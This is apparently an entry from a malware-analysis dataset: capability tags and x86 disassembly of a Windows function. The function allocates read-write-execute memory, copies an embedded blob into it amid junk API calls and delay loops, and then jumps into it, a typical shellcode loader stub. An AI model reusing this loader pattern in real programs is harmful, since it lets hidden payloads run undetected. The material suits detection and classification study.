Function at 0x404580
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get file attributes
Get hostname
Identify system language via api
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x4045aa
inc esi
cmp esi, 0x73f04bd
jl 0x404596
cmp dword [0x494d1c], 0x400
jne 0x404612
push ebx
lea eax, [ebp - 0x41c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push ebx
push ebx
call fcn.00404d0d
push ebx
call fcn.00404fd2
add esp, 0xc
push ebx
call fcn.00405351
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.0040505a
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404bf0
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004051c0
fstp st(0)
add esp, 8
cmp dword [0x494d1c], 0x93
jne 0x404665
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x404004
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call fcn.0040502e
add esp, 4
push ebx
call fcn.00405044
add esp, 4
call fcn.00404570
push ebx
push ebx
call fcn.00405197
add esp, 8
mov eax, dword [0x494d1c]
mov ecx, dword [0x48fea4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x495b58], ecx
mov dword [0x494d1c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4947ac], eax
mov esi, 0x1692e
lea esp, [esp]
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x4046a0
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [0x494d1c], ebx
jbe 0x404748
mov esi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov edi, edi
mov edx, dword [0x495b58]
mov cl, byte [edx + eax + 0x1134b]
mov edx, dword [0x4947ac]
mov byte [edx + eax], cl
cmp dword [0x494d1c], 0x490
jne 0x40473a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call esi
push 0
call edi
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0x404010
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, dword [0x494d1c]
jb 0x4046d0
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventA]
xor esi, esi
mov edx, dword [0x494d1c]
add edx, esi
cmp edx, 0x8d
jne 0x40478e
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
push 0
push 0
push 0
call edi
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0x4040a0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x404756
call fcn.00404470
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x4047b0
call ebx
cmp esi, 0x207142
jg 0x4047c1
inc esi
cmp esi, 0x67d12
jl 0x4047a6
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4047e1
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov edx, dword [ebp - 4]
add dword [0x4947ac], edx
inc esi
cmp esi, 0x674bd
jl 0x4047c3
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
mov dword [ebp - 4], 0x7b
cmp dword [0x494d1c], 0x86
jne 0x40483e
push 0x4040c0
call esi
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
call edi
push 0x404140
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x494d1c], 0xf
jne 0x404853
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 4], 1
jne 0x404803
push 0x40418c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x4947ac]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret